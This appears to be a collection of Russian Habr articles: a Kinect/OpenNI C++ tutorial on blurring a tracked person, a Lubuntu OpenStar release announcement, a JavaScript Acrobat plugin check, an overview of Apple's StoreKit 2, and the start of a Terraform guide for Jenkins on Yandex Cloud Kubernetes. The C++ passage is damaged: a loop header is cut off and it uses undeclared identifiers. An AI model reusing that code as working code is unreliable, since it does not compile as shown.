xn::ImageGenerator imageGenerator; // Этот генератор даст нам картинку с обычной камеры
xn::ImageMetaData imageMD;
xn::DepthGenerator depthGenerator; // глубина
xn::DepthMetaData depthMD;
xn::UserGenerator userGenerator; // если есть определенные пользователи, мы об этом узнаем
xn::SceneMetaData userPixels;
XnUserID users[15];
XnUInt16 nUsers = 15;
const XnLabel *pLabels; // метки, если !=0 значит это пользователь
const XnRGB24Pixel *pImageRow; // наша картинка
XnStatus rc;
unsigned int pTexMapX;// = 0;
unsigned int pTexMapY;// = 0;
XnMapOutputMode outputMode; // формат вывода для камер
XnPixelFormat pixelFormat;
bool mirrored; // Если хочется зеркального отражения, то его нужно включить
bool blurOn;
int currentUserId;
struct MyPixel
{
int posX;
int posY;
unsigned char *vBlue;
unsigned char *vGreen;
unsigned char *vRed;
int uLabel;
bool border;
};
MyPixel pixels[640][480];
// Почти все объявлено, остались только IplImages
IplImage *frame;
IplImage *frameBlured;
```
Собственно теперь все готово, чтобы начать. Создаем генераторы:
```
int main(){
outputMode.nFPS = 10;
outputMode.nXRes = 640;
outputMode.nYRes = 480;
XnStatus rc;
pTexMap = NULL;
pTexMapX = 0;
pTexMapY = 0;
rc = context.Init();
checkStatus(rc, " create context"); // метод проверяет rc == XN_STATUS_OK и если нет, завершает программу с ошибкой
rc = depthGenerator.Create(context);
checkStatus(rc, " depth create");
rc = imageGenerator.Create(context);
checkStatus(rc, " image create");
rc = userGenerator.Create(context);
checkStatus(rc," user create");
return 0;
}
```
Дальше нужно сделать важную вещь. Камеры расположены рядом друг с другом, но не на одном месте, а значит картинка будет разной. Для приведения к одному виду есть специальный метод SetViewPoint. Использоваеть его можно будет после того, как дадим команду StartGeneratingAll(). И важно чтобы OutputMode для обеих камер был одинаковый, иначе будет ошибка.
```
int main (){
.....
imageGenerator.SetMapOutputMode(outputMode);
depthGenerator.SetMapOutputMode(outputMode);
imageGenerator.SetPixelFormat(XN_PIXEL_FORMAT_RGB24); // говорим что нужна RGB картинка
context.StartGeneratingAll();
rc = depthGenerator.GetAlternativeViewPointCap().SetViewPoint(imageGenerator);
checkStatus(rc, " user and image view");
// зарегистрируем коллбеки для отслеживания пользователей
XnCallbackHandle h1;
userGenerator.RegisterUserCallbacks(gotUser,lostUser,NULL, h1);
// установим текущего пользователя и флаги.
currentUserId = -1; // этот id нам нужен чтобы наложить фильтр только на одного пользователя
mirrored = false;
blurOn = false;
frame = cvCreateImage(cvSize(640,480),8,3);
frameBlured = cvCreateImage(cvSize(640,480),8,3);
//создадим окно
cvNamedWindow ("Filter demo", CV_WINDOW_AUTOSIZE);
// и запускаем основной цикл программы.
showVideo();
return 0;
}
```
#### Обработка кадра
Прежде чем приступить к написанию showVideo() с основным циклом, нам нужно преобразовать изображение с камеры, для этого напишем функцию рисующую IplImage из XnRGB24Pixel и в ней же определим какие пиксели принадлежат пользователю.
```
void fromXnRGBToIplImage(const XnRGB24Pixel* pImageMap, IplImage** iplRGBImage)
{
userGenerator.GetUsers(aUsers,nUsers);
userGenerator.GetUserPixels(aUsers[0],userPixels);
pLabels = userPixels.Data();
for(int l_y=0;l_y0) && pixels[l\_x-1][l\_y].uLabel == 0
|| (l\_x < XN\_VGA\_X\_RES-1) && pixels[l\_x+1][l\_y].uLabel == 0
|| (l\_y >0 ) && pixels[l\_x][l\_y-1].uLabel == 0
|| (l\_y < XN\_VGA\_Y\_RES-1) && pixels[l\_x][l\_y+1].uLabel == 0 )
{
pixels[l\_x][l\_y].border = true;
}
}
// Этот вариант перевода в IplImage был честно подсмотрен где-то в OpenNI Group
((unsigned char\*)(\*iplRGBImage)->imageData)[(l\_y\*XN\_VGA\_X\_RES +l\_x)\*3+0] = pImageMap[l\_y\*XN\_VGA\_X\_RES+l\_x].nBlue;
((unsigned char\*)(\*iplRGBImage)->imageData)[(l\_y\*XN\_VGA\_X\_RES +l\_x)\*3+1] = pImageMap[l\_y\*XN\_VGA\_X\_RES+l\_x].nGreen;
((unsigned char\*)(\*iplRGBImage)->imageData)[(l\_y\*XN\_VGA\_X\_RES +l\_x)\*3+2] = pImageMap[l\_y\*XN\_VGA\_X\_RES+l\_x].nRed;
}
}
// Если включен режим блюра, необходимо перерисовать помеченные пиксели
if(blurOn){
cvSmooth(\*iplRGBImage,frameBlured,CV\_BLUR,14,14,0,0);
for(int j = 0 ; j < 480; ++j)
{
for(int i = 0 ; i < 640; ++i)
{
if( pixels[i][j].border == true && pixels[i][j].uLabel == currentUserId || pixels[i][j].uLabel == currentUserId ){
((unsigned char\*)(\*iplRGBImage)->imageData)[(j\*XN\_VGA\_X\_RES +i)\*3+0] = frameBlured->imageData[(j\*XN\_VGA\_X\_RES +i)\*3+0];
((unsigned char\*)(\*iplRGBImage)->imageData)[(j\*XN\_VGA\_X\_RES +i)\*3+1] = frameBlured->imageData[(j\*XN\_VGA\_X\_RES +i)\*3+1];
((unsigned char\*)(\*iplRGBImage)->imageData)[(j\*XN\_VGA\_X\_RES +i)\*3+2] = frameBlured->imageData[(j\*XN\_VGA\_X\_RES +i)\*3+2];
}
pixels[i][j].border = false;
pixels[i][j].uLabel = 0;
}
}
}
}
```
Осталось написать коллбэки и метод showVideo:
```
void XN_CALLBACK_TYPE gotUser(xn::UserGenerator& generator, XnUserID nId, void* pCookie)
{
// делаем что-то полезное
}
void XN_CALLBACK_TYPE lostUser(xn::UserGenerator& generator, XnUserID nId, void* pCookie)
{
if((int)nId == currentUserId)
{
currentUserId = -1; //
}
}
void showVideo()
{
while(1)
{
rc = context.WaitOneUpdateAll(imageGenerator);
imageGenerator.GetMetaData(imageMD);
pImageRow = imageGenerator.GetRGB24ImageMap();
char c = cvWaitKey(33);
if(c == 27) // esc завершает цикл
break;
if(c == 109)
{
mirrored = (mirrored == true)?false:true;
}
if(c == 98) // b
{
blurOn = (blurOn == true)?false:true;
}
fromXnRGBToIplImage(pImageRow,&frame);
// Вообще, в Context есть метод SetGlobalMirror(bool), но у меня при его использовании появляются артефакты и я заменил на cvFlip
if(mirrored)
cvFlip(frame, NULL, 1);
cvShowImage("Filter demo", frame);
}
cvReleaseImage( &frame );
cvDestroyWindow("Filter demo" );
}
```
#### Итог
В результате у вас должно получиться что-то вроде этого:
На скриншоте ниже показан результат немножко подогнанный под мои цели, с увеличенными границами:
Спасибо за внимание, успехов! | https://habr.com/ru/post/127802/ | null | ru | null |
# Lubuntu OpenStar Linux edition 10.04
Lubuntu OpenStar Linux edition 10.04 специально доработанная операционная система Linux для слабых компьютеров с целью замены Windows XP на предприятих.
#### Особенности системы
Лёгкость и быстрота системы позволяют использовать все преимущества современных программ на старых компьютерах.
#### Системные требования:
Процессор: 800 МHz x86;
Оперативная память: 256 MiB;
Свободное место на диски: 3 GB.
Низкие системные требования дают возможность использовать эмулятор Windows программ wine на слабых компьютерах для запуска таких программ, как 1С Предприятие 7.7, 8.1, 8.2, КОМПАС-3D 10, Бест-Звіт, САМО-Тур и многих других.
#### Быстрота развёртывания:
* Установлена русская локализация. Все программ в главном меню адаптированы для русскоязычного пользователя;
* Папка «Общедоступные» доступна по сети на чтение и запись;
* Все документы в OpenOffice сохраняются в форматы Microsoft (doc, xls, ppt);
* По умолчанию устанавливаются три раскладки клавиатуры: US, RU и UA;
* Добавлен ярлык «Сетевое окружение» в PCManFM, по аналогии с Windows XP;
* Улучшено отображение шрифтов по сравнению с Lubuntu 10.04;
* Интерфейс максимально приближен к Windows XP, что позволяет ускорить обучение и переход на Linux;
* В поставке идут кодеки, шрифты, флеш, а также обширная база драйверов для принтеров;
* Система бинарно совместима с Lubuntu 10.04, а значит и с Ubuntu 10.04;
* Для firefox установлены плагины блокировки рекламы и блокировки флеша;
* Добавлена простая программа для открытия доступа к папке по сети (Стандартные–>Опубликовать папку);
* Установлены все необходимые зависимости для установки эмулятора Wine@Etersoft.
#### Состав
* Ядро 2.6.32-22;
* OpenOffice.org 3.2.0;
* PCManFM 0.9.5;
* Firefox 3.6;
* Chromium 5;
* Opera 10.10;
* ICQ/Mail-агент – qutIM;
* Skype 2.1 Beta 2;
* Почтовый клиент – Thunderbird 3;
* PDF просмотрщик – Evince;
* CHM просмотрщик – CHMSee.
[](http://rudb.org/img/2010_05/i4bf8305500819.jpg)
[](http://rudb.org/img/2010_05/i4bf8305533a7e.jpg)
[](http://i4.fastpic.ru/big/2010/0520/5f/600baa1944640d6800442fcbe42afe5f.png)
#### Скачать
[Torrent RuTraker.org](http://rutracker.org/forum/viewtopic.php?t=2967994)
[Torrent без регистрации](http://tfile.ru/forum/viewtopic.php?p=4185094)
ЗЫ.
В. Как удалить украинскую раскладку?
О. В консоли
`sudoedit /etc/xdg/lxsession/Lubuntu/autostart`
и в строке убираем ua:
`@setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,ru` | https://habr.com/ru/post/94724/ | null | ru | null |
# Определение наличия Acrobat-плагина в броузере
Столкнулся с проблемой определения наличия плагина. Гуглёж дал результаты не сразу. Основная проблема была в пятой строке.
````
var isPDFInstalled = false;
if (window.ActiveXObject) {
var control;
try {
control = new ActiveXObject('AcroPDF.PDF');
} catch (e) { }
if (!control) {
try {
control = new ActiveXObject('PDF.PdfCtrl');
} catch (e) { }
}
if (control) {
isPDFInstalled = true;
}
} else {
isPDFInstalled = navigator.mimeTypes && navigator.mimeTypes["application/pdf"];
}
if (isPDFInstalled) {
document.write('okay');
// ну или что-то другое
} else {
document.write('shit');
// ну или что-то другое
}
```` | https://habr.com/ru/post/13953/ | null | ru | null |
# Meet StoreKit 2
Всем привет, меня зовут Сурен, я SDK Engineer в qonversion.io.
Мы - data платформа для приложений с подписками. Наши мобильные SDK предоставляют интерфейс для работы со StoreKit и Google Billing Client, принимают пуши, отображают экраны, построенные в визуальном конструкторе экранов и многое другое.
Сегодня хотел бы рассказать про StoreKit 2, который был представлен на WWDC 21.
На [WWDC 21](https://www.apple.com/apple-events/june-2021/) Apple в очередной раз представила немало новинок. Одним из крутых обновлений является StoreKit 2. В последние годы встроенные покупки и подписки становятся основой большого количества приложений и приносят огромные деньги Apple и разработчикам. Так на WWDC 21 Apple поделились информацией, что за всё время существования AppStore они выплатили разработчикам 230 миллиардов долларов. Причём значительный рост произошел за последние несколько лет. Именно поэтому в последнее время и Apple, и Google делают такой упор на всём, что связано со встроенными покупками. На WWDC 20 был показан `StoreKitTransactionManager` с `.storekit` файлом, которые очень сильно упростили тестирование встроенных покупок. Кстати, ждать пришлось всего лишь с iOS 3 до iOS 14. [Подробнее о новинках тестирования - тут.](https://habr.com/ru/post/508016/)
Прежде чем обсудить все прелести StoreKit 2, давайте поймём, что было не так со старым StoreKit:
* Сложность понимания
* Плохая архитектура
* Нет валидации покупок
* Нет автоматической синхронизации между своими устройствами
* Нет данных о существующих покупках
* Нет ряда полезных данных
Давайте коротко (местами не очень) и по порядку:
1. StoreKit действительно **сложно понимать** (здорово, если вам не сложно) в сравнении с другими нативными SDK. Запутанная система, продукты, транзакции, платежи, реквесты, чеки (StoreKit receipt), рефреши, зачем-то ещё сервер нужен. А что юзер вообще покупал, а что до сих пор активно? Как всё это понимать? Отчасти из-за этого появились целые SaaS проекты, которые предоставляют инфраструктуру для работы со StoreKit, как на клиенте, так и на сервере.
2. **Плохая архитектура**. Речь не о том, что вы не сможете собрать нужную вам архитектуру вашего приложения, а о том, что код работы со StoreKit становится очень непонятным из-за особенностей реализации обратной связи с его стороны. А конкретнее, речь про делегаты и обсерверы. Загрузку продуктов мы инициируем в одном месте, а ответ прилетает от `SKProductsRequestDelegate` совсем в другом. Нет хотя бы привычного ответа в `completion` блоке. Та же история с самой покупкой и `SKPaymentTransactionObserver`. И если вам вдруг нужны данные из запроса покупки, то придется как-то их отдельно хранить, сопоставлять и надеяться, что всё пойдет по тому плану, который вы себе придумали при написании этого кода. Иначе непонятно, обработаем ли мы вообще эту покупку в итоге. И в случае с подписками и нерасходуемыми покупками это ещё не так страшно из-за возможности сделать `restore`. А вот потерять `consumable`, она же `расходуемая` покупка, будет совсем неприятно.
3. **Нет валидации покупок.** Речь про валидацию из “коробки”. Да, вы можете помучаться, расшифровать чек прямо на устройстве. Это решит часть проблем, но всё-равно полностью не обезопасит от тех, кто захочет вас обмануть и попользоваться вашим приложением бесплатно. Возможно, вам кажется, что это не так страшно, но, к моему большому удивлению, достаточно много людей "фродят". Используют jailbreak, чтобы бесплатно получить доступ к приложениям. Наглядно я это увидел, когда к нам подключился новый клиент и начал засыпать нас жалобами о плохо работающем SDK. Утверждал, что в своей аналитике он видит слишком частые ресторы от пользователей, а доступы в приложении так и не появляются. На деле же оказалось, что это просто были "фродеры", которые очень удивились, что у них пропали доступы (мы валидируем покупки через сервера Apple) и очень настойчиво пытались их восстановить, чего сделать, естественно, не могли из-за серверной валидации.
4. **Нет автоматической синхронизации между своими устройствами.** Представьте, что у вас есть iPhone и iPad (или не представляйте, вдруг у вас действительно есть), вы сделали покупку на iPhone, а на iPad доступы вы всё равно не получили, хотя эти оба устройства - ваши, оба залогинены под одним и тем же Apple ID. Это не что-то невероятно неудобное, конечно, но тем не менее, вам придется пойти на экран покупок, нажать "Восстановить покупки", и только тогда покупки станут доступны на вашем втором/третьем/четвертом устройстве.
5. **Нет данных о существующих покупках.** Опять же, не то чтобы очень сложно реализовать эту логику самому, но всё же это требует дополнительных действий. Каждый раз при совершении покупки или автообновлении подписки вы получаете транзакцию о покупке продукта. Больше эту информацию вы никак из StoreKit не получите, кроме как вызвав рестор, который нельзя вызывать "просто потому что хочется". Соответственно, вам необходимо эту информацию где-то (UserDefaults/ваш сервер) хранить, чтобы давать пользователю доступы, и надеяться, что это всё отрабатывается правильно. Но после переустановки, в случае использования `UserDefaults`, все эти данные, конечно, будут потеряны.
6. **Нет ряда полезных данных.** Возьмём для примера самые простые и распространенные случаи. Покупки часто предлагаются со скидочным предложением или триалом. Так вот, у вас нет возможности узнать, была ли у текущего пользователя покупка в этой группе продуктов, чтобы принять решение о предоставлении ему скидки/триала. А ещё без своего сервера и [App Store Server Notifications](https://developer.apple.com/documentation/appstoreservernotifications) вы, скорее всего, не узнаете о том, что пользователь отписался или планирует это сделать. А значит, не сможете предложить ему скидку, узнать, что ему не нравится и попробовать каким-либо способом удержать его.
Уверен, у каждого может быть ещё несколько своих личных "болей", но давайте пока остановимся на этом списке и перейдем к StoreKit 2.
Что же нового появилось в StoreKit 2?
-------------------------------------
Apple [у себя на главной StoreKit](https://developer.apple.com/storekit/) выделяют много пунктов, но я бы предложил остановиться на двух основных. Это Swift-first design и обновление API. Договоримся сразу, что документация на данный момент достаточно кривая и неполная (и обновляется активно прямо сейчас), поэтому ссылок на неё не будет.
### Swift-first design
В **StoreKit 2** вовсю используются нововведения Swift. А конкретно, очень сильно упрощает жизнь [Concurrency](https://docs.swift.org/swift-book/LanguageGuide/Concurrency.html) со своими `async` и `await`.
Это решает (частично или полностью, тут каждый пусть для себя решит) ту самую боль с **плохой архитектурой**.
#### Загрузка продуктов
Раньше вам необходимо было создать `SKProductsRequest`, стать его делегатом, запустить этот request и обязательно сохранить на него сильную ссылку, чтобы система не убила его до завершения. Выглядело это примерно так:
```
let productsRequest = SKProductsRequest(productIdentifiers: identifiers)
productsRequest.delegate = self
productsRequest.start()
self.productsRequest = productsRequest
```
А потом получать ответ вот так:
```
extension StoreKitService: SKProductsRequestDelegate {
func productsRequest(_ request: SKProductsRequest, didReceive response: SKProductsResponse) {
// handle products here
}
}
```
Со StoreKit 2 это будет выглядеть вот так:
```
let storeProducts = try await Product.request(with: identifiers)
```
**И всё**
На следующей строке у вас уже будут все загруженные продукты.
#### Покупка
Раньше покупка совершалась следующим образом:
```
func purchase(_ product: SKProduct) {
let payment = SKPayment(product: product)
SKPaymentQueue.default().add(payment)
}
```
А ответ получать нужно было так:
```
extension StoreKitService: SKPaymentTransactionObserver {
func paymentQueue(_ queue: SKPaymentQueue, updatedTransactions transactions: [SKPaymentTransaction]) {
transactions.forEach { transaction in
switch transaction.transactionState {
case .purchased:
// handle purchased
case .failed:
// handle failed
case .deferred:
// handle deferred
case .restored:
// handle restored
default: break
}
}
}
```
В результате вы получите массив с одной транзакцией по продукту, который вы и покупали. А ещё в эту функцию попадают все транзакции после вызова функции `restoreCompletedTransactions()`, которая используется для восстановления покупок. Поэтому и возвращается массив. И в этом всём вам ещё где-то надо сохранить связь с тем, кто попросил эту покупку, потому что вам необходимо вернуть ему ответ. Как вариант, в классе хранить `completion`, в котором потом планируете вернуть ответ. Ведь напрямую у вас этого `completion` уже нет, вы находитесь в другой независимой функции. Ну и если вам нужны были какие-то дополнительные данные, то их тоже храните где-то, а потом синкайте.
Как это будет выглядеть со StoreKit 2:
```
func purchase(_ product: Product) async throws -> Transaction? {
let result = try await product.purchase()
switch result {
case .success(let verification):
// handle success
...
return result
case .userCancelled, .pending:
// handle if needed
default: break
}
```
**И снова всё.**
Уже на второй строке у вас есть результат покупки. Дальше вы его просто обрабатываете. Также обратите внимание, что у результата есть case `.userCancelled`, который, как вы уже догадались, означает, что пользователь отменил процесс покупки. Раньше вы могли узнать о том, что покупка была отменена пользователем, только обработав `transactionState` у `SKPaymentTransaction`. И если там будет `.failed`, то дальше вам необходимо проверить код ошибки и понять, что это была отмена, а не ошибка. И это важно, потому что в случае ошибки неплохо бы показать её пользователю. А если он сам отменил покупку, будет как-то странно показывать ему ошибку. Здорово, что теперь это отдельный `case` в `PurchaseResult` и его можно обрабатывать отдельно ото всех ошибок.
И, конечно, теперь вам не надо запоминать, кто просил покупку, и думать, как её вернуть. Вы просто в нужный момент сделаете `return result`.
#### Валидация
Также, как вы можете заметить, при успешной покупке возвращается значение `verification`, которое говорит, была ли провалидирована ваша покупка StoreKit. Дальше уже вам решать, хотите вы смотреть на это поле или нет, доверяете ли вы валидации на девайсе или всё-таки хотите проверить на своём или чьём-то ещё сервере.
#### Дополнительные опции покупки
Теперь при совершении покупки вы можете передавать дополнительные опции. На данный момент их несколько, но действительно интересной мне кажется только одна.
**Персонализация**
Не знаю, как это назвать... Назовём персонализацией. В общем, теперь при совершении покупки вы можете передавать дополнительные опции, которые останутся с этой покупкой навсегда.
Таким образом, вы всегда сможете идентифицировать, какой пользователь совершил эту покупку. Это удобно, когда вы, например, хотите предоставлять доступ не исходя из покупок на AppStore-аккаунте пользователя, а ориентируясь на вашу внутреннюю авторизацию. Например, если вы -- стриминговый сервис и хотите давать доступ по вашему внутреннему аккаунту, на каком бы из своих девайсов пользователь ни находился: купил подписку на iPhone, смотрит на TV и так далее. Для этого достаточно просто передать ваш внутренний идентификатор пользователя при совершении покупки. Делается это следующий образом:
```
let result = try await product.purchase(options:[.appAccountToken(yourAppToken))])
```
**И другие**
В менее интересные, на мой взгляд, опции попадают:
* обновленный интерфейс реализации промо покупок
* возможность покупать продукты "пачками"
Например, если вы в своём приложении продаете монеты по 1000 штук, пользователь может выбрать сразу 5 таких пачек, купить и оплатить их разом, получив сразу 5000 монет.
#### И еще
По части обновления интерфейса можно много говорить, так как обновлено и подстроено под новые возможности Swift примерно всё, но это не так интересно. Добавлю только, что также обновился и интерфейс `SKPaymentTransactionObserver`, который использовался для отслеживания новых покупок , которые могут приходить в любой момент. Например, если это подтверждение покупки с родительского аккаунта, [SCA](https://qonversion.io/blog/what-app-developers-need-to-know-about-the-new-eu-payment-regulation/), просто автоматическое автопродление подписки и так далее. Теперь это `listener` у объекта `Transaction`. И "слушать" новые транзакции можно так:
```
func listenForTransactions() -> Task.Handle {
return detach {
for await result in Transaction.listener {
do {
// handle transaction result here
}
}
}
}
```
Главное, всегда при работе с транзакциями не забывайте их завершать, вызвав `transaction.finish()`, иначе они каждый раз при перезапуске будут продолжать прилетать в `listener`. Впрочем, в этом плане ничего и не изменилось.
#### Итог по Swift-first design
Как мы видим, нововведения Swift в паре с новым интерфейсом StoreKit 2 значительно упрощают жизнь разработчикам и помогают сэкономить время, силы и нервы. Сейчас в пару строк кода, и с возможностью удобно обрабатывать ответ, можно:
* Загрузить продукты
* Начать покупку
* Обработать результат покупки
* Верифицировать покупку
* Получить новые транзакции
Также обратите внимание, что сами Apple говорят, что StoreKit 2 значительно повышает уровень безопасности в плане верификации покупок, но это всё ещё не замена вашей серверной валидации. И точно не повод от неё отказываться, если она у вас была.
### Новый мощный API
Тут Apple действительно добавили много нового и полезного. Практически всё интересное, что связано с `Products` и `Purchases` мы рассмотрели в первой части. Давайте теперь рассмотрим остальное.
Были переработаны, улучшены и расширены многие сущности и поля. Информации о продуктах, покупках и статусах подписок стало сильно больше. Фактически Apple добавила в публичное API StoreKit 2 большое количество данных, которые раньше были доступны только в чеке. Так как в нем информация зашифрована, то большинство данных, предоставляемых публичным API StoreKit 2, будeт также шифроваться при помощи [JWS](https://datatracker.ietf.org/doc/html/rfc7515). Например, информация о транзакциях и автопродлении подписки. И да, StoreKit 2 будет автоматически валидировать эти данные.
Давайте рассмотрим самые интересные из новинок API:
* Транзакции
* Активные покупки или Current entitlements
* Информация о подписке
* Автоматическая синхронизация покупок
#### Транзакции
Теперь вы можете получить список всех транзакций (или только последнюю) по продукту прямо из StoreKit 2. Раньше для этого приходилось разбирать чек. Данные о транзакциях могут пригодиться, например, для какой-то аналитики, или если хотите показать пользователю, что и когда он покупал у вас в приложении.
#### Активные покупки, или Current entitlements
Если помните, выше мы обсуждали, что хранить историю активных покупок, чтобы по ним давать доступы в ваше приложение, придется самим. Теперь StoreKit 2 сделает это за вас. Обратите внимание, что в этом списке хранятся только:
* активные подписки
* **НЕрасходуемые покупки**, они же **non-consumable purchases** Расходуемых покупок, таких как монеты/патроны/бензин, в этом списке не будет. Их вы должны обрабатывать сразу при покупке.
#### Информация о подписке
В этом разделе обсудим большую часть интересного, что содержит в себе объект `SubscriptionInfo`. Как и в случае с транзакциями, раньше эта информация была доступна только в чеке и требовала определенной работы на вашем сервере.
**Intro offer eligibility**
Помните, я говорил, что в предыдущей версии StoreKit не было возможности узнать, была ли у текущего пользователя покупка в этой группе продуктов, чтобы принять решение, предоставлять ему скидку/триал или нет. Раньше это приходилось делать через сложную логику где-то на сервере, теперь можно просто вызвать одну функцию и получить `Bool` в ответе.
```
static func isEligibleForIntroOffer(for groupID: String) async -> Bool
```
**Renewal state**
Состояние автообновления подписки, которое раньше тоже было доступно только в чеке.
Есть несколько состояний:
1. subscribed - подписка активна
2. expired - подписка истекла
3. inBillingRetryPeriod - была ошибка при попытке оплаты
4. inGracePeriod - отсрочка платежа по подписке. Если `grace period` у вашей подписки включен и произошла ошибка при оплате, то у пользователя будет ещё какое-то время, пока подписка работает, хотя оплаты ещё не было. Количество дней отсрочки может быть от 6 до 16 в зависимости от длительности самой подписки.
5. revoked - доступ ко всем подпискам этой группы отклонён AppStore.
**Renewal info**
В этом объекте будет отображаться всё, что связано с автообновлением подписки. Например, вы можете узнать такую информацию:
1. `willAutoRenew` - флаг, который подскажет, будет ли подписка автопродлена. Если нет, то с какой-то долей вероятности пользователь не планирует дальше использовать подписку в вашем приложении. Самое время подумать о том, как его удержать.
2. `autoRenewPreference` - ID подписки, на которую произойдет автообновление. Например, вы можете проверить, что пользователь сделал `downgrade` и планирует пользоваться более дешевой версией вашей подписки. В таком случае при желании можете попробовать предложить ему скидку и удержать его на более премиальной версии.
3. `expirationReason` - а здесь вы можете более подробно посмотреть причины истечения срока подписки.
**Важное замечание по поводу статусов подписки.** StoreKit 2 возвращает массив статусов. Нужно это, чтобы покрыть случаи, когда у пользователя несколько подписок на один продукт. Например, одну подписку он купил сам, а вторая ему досталась через `family sharing`. Таким образом, вы сможете провалидировать весь массив и разблокировать функциональность в вашем приложении, ссылаясь на подписку с самым высоким уровнем доступа.
#### Синхронизация покупок
Также одним из крутых нововведений StoreKit 2 является синхронизация покупок между разными устройствами с одним Apple ID. То есть теперь, если пользователь совершил покупку на своём iPhone, а потом зашел на iPad, то на нем тоже эта покупка тоже будет доступна. Не надо будет совершать дополнительных действий вроде вызова `restore()`.
Однако, тут есть оговорка со стороны Apple, что автоматическая синхронизация должна покрыть подавляющее большинство случаев. Но так как их устройства используют миллионы людей в огромном количестве стран, то на всякий случай есть ручной вызов синхронизации покупок - `AppStore.sync()`. По сути то же самое, что и `restore()`, но вызывать надо будет сильно реже.
И также Apple предупреждает, что вызывать `AppStore.sync()` стоит только в ответ на действие пользователя (нажатие кнопки), потому что вызов инициирует показ окна с вводом пароля, и если вы будете вызывать его просто где-то на старте, то пользовательский опыт внутри вашего приложения будет немного странным.
#### Итог по новому API StoreKit 2
Большое количество информации, которое раньше можно было получить только при расшифровке чека на своём сервере (делать это прямо в приложении - не лучший выбор), теперь доступно в самом StoreKit, и это сильно облегчает работу. Намного проще стало проверять статусы подписок и давать доступы в приложении.
#### Решены ли проблемы старого StoreKit?
Давайте посмотрим на те проблемы, которые мы обсуждали в начале статьи.
1. **Сложно понимать?** Стало ли проще понимать устройство StoreKit? В целом, мне всё ещё кажется, что это сложный механизм, который требует глубокого погружения. Но в StoreKit 2 точно будет меньше вопросов: "А где мне получить эти данные?". Потому что раньше они лежали в чеке, который даже глазами нигде и никак не посмотреть без предварительной расшифровки. Сейчас большое количество нужных полей доступно "из коробки".
2. **Плохая архитектура?** Улучшилась ли архитектура? Несомненно. Это даже невозможно сравнивать, спасибо Swift Concurrency.
3. **Нет валидации покупок?** Валидация покупок появилась в StoreKit 2, но валидация на API всё ещё надёжнее даже по словам Apple, которые любят хвалить свои новинки. Но в любом случае это огромный плюс в копилку Apple и StoreKit 2.
4. **Нет автоматической синхронизации между своими устройствами?** Покупки наконец-то доступны на всех ваших девайсах сразу и без лишней возни.
5. **Нет данных о существующих покупках?** Это может показаться мелочью, но это нужно было всем, кто хоть раз реализовывал встроенные покупки.
6. **Нет ряда полезных данных?** В зависимости от ваших задач вам всё ещё могут понадобиться данные из чека, но даже то, что появилось в StoreKit 2, закроет большое количество потребностей.
В целом, лично для меня StoreKit 2 кажется очень крутым и лично мне было бы достаточно даже просто всего того, что появилось благодаря Swift Concurrency, потому что раньше было действительно много боли. Я часто говорю "раньше", как-будто бы эта боль закончится в ближайшее время... Нет, очевидно, что до полного переезда на StoreKit 2 ещё совсем не близко, но это уже хоть какая-то надежда на светлое будущее.
Пишите, что вы думаете о StoreKit 2 и какие ещё моменты можете выделить в плюсы для себя лично. Если с какими-то моими не согласны - тоже пишите, будет интересно услышать альтернативное мнение.
Как я и говорил, не буду давать ссылки на документацию, хотя она уже неплохо обновилась, пока писалась статья, но всё ещё очень сырая. Посмотрите лучше [сессию с WWDC 21](https://developer.apple.com/videos/play/wwdc2021/10114/), где вы найдете весь этот материал (и даже больше) без моего оценочного суждения. | https://habr.com/ru/post/563280/ | null | ru | null |
# Установка Jenkins с помощью terraform в Kubernetes в Yandex Cloud с letsencypt
В этой статье будет следующее:
* Заведение DNS домена на reg.ru.
* Управление DNS зоной в Yandex DNS c помощью terraform.
* Создание Kubernetes в Yandex Cloud.
* Резервируем внешний статический IP адрес.
* Установка Jenkins c помощью terraform модуля helm\_release.
* Создание ClusterIssue(Issue) для создания letsencypt сертификата.
**Быстрая установка Jenkins с помощью terraform в Kubernetes в Yandex Cloud с letsencypt.**
Скачать репозиторий:
```
git clone https://github.com/patsevanton/infrastructure-as-a-code-example.git
```
Перейти в каталог terraform-helm-release-jenkins:
```
cd terraform-helm-release-jenkins
```
Заполнить private.auto.tfvars на базе шаблона private.auto.tfvars.example.
Запустить установку:
```
k8s_install.sh
```
Разберем подробнее.
Заводим DNS домен на reg.ru — `mycompany.ru` или `mycompany.org.ru`. В настройках домена на вкладке "DNS-серверы и управление зоной" указываем DNS Yandex Cloud:
* ns1.yandexcloud.net
* ns2.yandexcloud.net
DNS зона управляется с помощью terraform кода. Документация — <https://cloud.yandex.ru/docs/dns/>.
```
resource "yandex_dns_zone" "dns_domain" {
name = replace(var.dns_domain, ".", "-")
zone = join("", [var.dns_domain, "."])
public = true
}
```
Так как у zone на конце должна быть точка, то используем метод join для соединения нашего домена и точки.
**Создание DNS записи.**
В имени DNS записи на конце необходима точка, поэтому используем метод join для соединения DNS записи и точки. Код:
```
resource "yandex_dns_recordset" "jenkins_dns_domain" {
zone_id = yandex_dns_zone.dns_domain.id
name = join("", [var.jenkins_dns_name, "."])
type = "A"
ttl = 200
data = [yandex_vpc_address.addr.external_ipv4_address[0].address]
}
```
Поле data — список IP адресов, на которые должны резолвиться эта DNS запись.
\**Создание сервисного аккаунта.*
Перед созданием Kubernetes кластера необходимо рассказать о создание сервисного аккаунта. Название сервисного аккаунта — `sa-k8s-admin`.
```
resource "yandex_iam_service_account" "sa-k8s-admin" {
folder_id = var.yc_folder_id
name = "sa-k8s-admin"
}
resource "yandex_resourcemanager_folder_iam_member" "sa-k8s-admin-permissions" {
folder_id = var.yc_folder_id
role = "admin"
member = "serviceAccount:${yandex_iam_service_account.sa-k8s-admin.id}"
}
```
Лучше использовать `yandex_resourcemanager_folder_iam_member` вместо `yandex_resourcemanager_folder_iam_binding`, так как не всегда работает корректно. У меня на другом коде вызывает ошибку. Issue — <https://github.com/yandex-cloud/terraform-provider-yandex/issues/267> и <https://github.com/yandex-cloud/terraform-provider-yandex/issues/283>.
```
"Binding for role "mdb.dataproc.agent" not found in policy"
```
В `role` указываем какие права имеет сервисный аккаунт. Более подробно в документации <https://cloud.yandex.ru/docs/iam/concepts/access-control/roles>.
**Создание kubernetes кластера в Yandex Cloud.**
Для создание kubernetes кластера в Yandex Cloud используется уже обычный terraform код:
```
resource "yandex_kubernetes_cluster" "zonal_k8s_cluster" {
name = "my-cluster"
description = "my-cluster description"
network_id = yandex_vpc_network.k8s-network.id
master {
version = "1.21"
zonal {
zone = yandex_vpc_subnet.k8s-subnet.zone
subnet_id = yandex_vpc_subnet.k8s-subnet.id
}
public_ip = true
}
